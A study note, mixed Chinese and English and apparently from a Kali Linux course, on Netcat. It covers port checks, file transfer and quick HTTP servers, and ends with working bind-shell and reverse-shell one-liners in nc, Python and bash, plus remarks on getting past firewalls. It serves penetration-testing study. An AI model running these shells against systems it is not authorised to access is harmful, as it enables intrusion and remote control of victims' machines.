视频教程可以去B站找我
https://space.bilibili.com/123895286
Netcat
一个简单的“读写和写作的实用程序 跨网络连接的数据,使用 TCP 或 UDP 协议
Connecting to a TCP/UDP Port
client mode.
We can use client mode to connect to any TCP/UDP port, allowing us to: • Check if a port is open or closed. • Read a banner from the service listening on a port.
banner信息就是指服务器返回给你的响应头的相关信息,通过这些banner信息可以得到一个服务器的端口号、上面安装了哪些服务?以及服务相应的版本......等等
• Connect to a network service manually
We will supply several arguments:
the -n option to skip DNS name resolution;
*域名解析(DNS(domain name resolution))
域名解析的过程就是一个翻译的过程,就是将人比较熟悉、容易记忆的名称翻译成机器熟悉的IP地址的过程(当然解析还有很多别的用途,这里只解释最常用的A记录)。*
域名———域名系统———服务器
-v to add some verbosity; //the more the number of v ,the more information we get
the destination IP address; and the destination port number:
# 单次开启ssh
sudo systemctl start ssh
# 单次关闭ssh
sudo systemctl stop ssh
listen for somewhere
nc -l 指定监听模式
-p 端口指定
-q 传输结束后等待多久断开,后面加秒
chat/information server
kali:nc -l -p 2222
other:nc -nv kaliIP
//电子取证应用
kali:nc -l -p 2222 > ls.txt
other:ls | nc -nv kaliIP port -q 1
记得关闭防火墙
SimpleHTTPserver
1.use python
kali:
python(2) -m SimpleHTTPServer 9999
python3 -m http.server 9999
other:
get ip:prot
//当前目录作为根目录
2.use php
php -S ip:port
//不支持目录浏览
3.ruby
(脚本语言)
ruby -run -e httpd . -p 9999
//当前目录作为根目录
4.busybox
busybox——Linux 优秀工具的集合
busybox httpd -f -p 9999
5.nc
1)传输文件
发送端(客户端):
nc -nv ip prot < 1.txt
接收端(监听端):
nc -lnvp prot > 1.txt
/usr/share/windows-binarie
//中间人传输
kali———win———–linux
but kali ———– ———–linux
so win is doublefaced system
kali:nc -nv ip1 prot < 1.txt
win;nc -lnvp prot | nc -nv ip2 prot
linux: nc -nv ip > 1.txt
2)传输目录
目录成压缩文件———传输压缩文件
发送端(客户端):
tar cvf dir.tar dir | nc -nv ip prot
接收端(监听端):
nc -lnvp ip prot | tar xvf
shell administration
1)正向连接
win:nc -lnvp 996 -e cmd.exe
lin:nc -lnvp 9999 -e /bin/sh
kali;nc -nv ip port
win开启服务端口,kali利用服务恶意连接
利用python获得交互shell
pyhton -c ‘import pty;pty.pawn(“/bin/bash”)’
//个别系统可能用不了
2)反弹连接
正向连接会受到防火墙的影响
kali——攻击端
nc -lnvvp 999
win——目标
nc -nv ip 999 -e cmd.exe
攻击端开启“服务”端口等待受害者被“服务”,并使受害者shell也搭进去
对于受害者来说,连接为出站连接,防火墙不会阻挠连接
but,if target cannt use nc
you can use pyhton,php………..
python -c 'import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("ip",port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])'
一般linux都会预装python,普遍性更强
Asides,you also can use bash
bash -i >& /dev/tcp/ip/port 0>&1
ip/port 都是攻击者的
-i说明交互效果
>& + 文件#表示标准输出重定向文件,所以可以显示输出
0>&1 #输入重定向到输出,所以可以输入命令